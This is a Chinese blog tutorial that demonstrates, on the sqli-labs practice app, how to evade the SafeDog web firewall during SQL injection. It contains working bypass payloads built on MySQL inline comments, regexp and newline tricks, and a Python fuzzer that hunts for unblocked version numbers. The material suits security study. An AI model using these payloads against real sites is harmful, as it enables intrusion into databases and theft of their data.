当前位置:   article > 正文

安全狗SQL注入绕过_绕过安全狗的sql注入

绕过安全狗的sql注入

安全狗SQL注入绕过

本文用sqli-labs第一关为例

一、简单注入

开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了

1' and 1=1 %23
  • 1

在这里插入图片描述

寻找被安全狗匹配的特征字符,这里没被拦截

1' and %23
  • 1

在这里插入图片描述

原来是当and 与 xx=xx 同时出现的时候会被安全狗识别

在这里插入图片描述

1.1 简单注入绕过方式

这里可以使用mysql的内联注释来进行绕过

内联注释/*! */:在mysql中,/*! */被称为内联注释,里面的内容是会被mysql解析的,解析情况分为以下两种:

1.当/*!紧跟数据库版本号时

​ 这种情况表示,当目前的数据库版本号大于指定的版本号时,里面的内容才会被解释SQL语句,否则会被当做注释处理而被忽略掉

CREATE DATABASE `mydb` /*!40100 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci */
  • 1

表示当 MySQL 的版本号大于 4.1.00 时,后面的 SQL 语句才会被执行。

2.当/*!不紧跟版本号时

​ 这种情况下,里面的内容会被当做SQL语句解析执行

-- 内联注释语句
SELECT * FROM `demo` /*! where id = 2 */;

-- 解析后的语句相当于
SELECT * FROM `demo` where id = 2;
  • 1
  • 2
  • 3
  • 4
  • 5

总结:一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同 MySQL 版本下的执行情况。

1.2 寻找版本号
import sys

import requests
from fake_useragent import UserAgent


def fuzz_start(url):
    for i in range(10000, 50000):
        ua = UserAgent()
        base_url = "{0}/?id=-1'/*!{1}or*/ 1=1 %23".format(url, str(i))
        ret = requests.get(base_url, ua.random).text
        if "拦截" not in ret:
            print("fuzz succee! url is:")
            print(base_url)


if __name__ == '__main__':
    url = sys.argv[1:]
    fuzz_start(url[0])
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

代码运行后发现有很多能绕过安全狗的版本号

在这里插入图片描述

使用内联进注释行注入

id=-1' /*!11445or*/ 1=1 %23
  • 1

在这里插入图片描述

使用内联注释绕过waf,实现简单注入成功

二、绕过联合注入

常规方法检测列数被拦截

1' order by 1 %23
  • 1

在这里插入图片描述

将order by替换为group by便直接绕过

1’ group by 3 %23
  • 1

在这里插入图片描述

爆破显示位时,union 和 select 被拦截

1' union select 1,2,3 %23
  • 1

在这里插入图片描述

2.1 联合注入绕过方式

这里使用mysql自带的正则函数(regexp)

select * from company_info where name like '桑尼';  //查询name等于桑尼的数据
select * from company_info where name regexp '桑尼'; //查询结果中name包含桑尼的数据
  • 1
  • 2

绕过代码

-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,2,3 %23

 %0A : 换行
 %23 : #
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

2.2 获取详细信息

尝试获取数据库名、版本,因database()被识别被拦截

-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,database(/*!11444*/),version(/*!11444*/) %23
  • 1

在这里插入图片描述

使用内联注释获拼接得数据库名与版本号

-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,database(/*!11444*/),version(/*!11444*/) %23
  • 1

在这里插入图片描述

2.3 注入出表名
-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/

/*!--+/*%0ainformation_schema./*!schemata*/ --+
  • 1
  • 2
  • 3

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/代码探险家/article/detail/918644
推荐阅读
相关标签
  

闽ICP备14008679号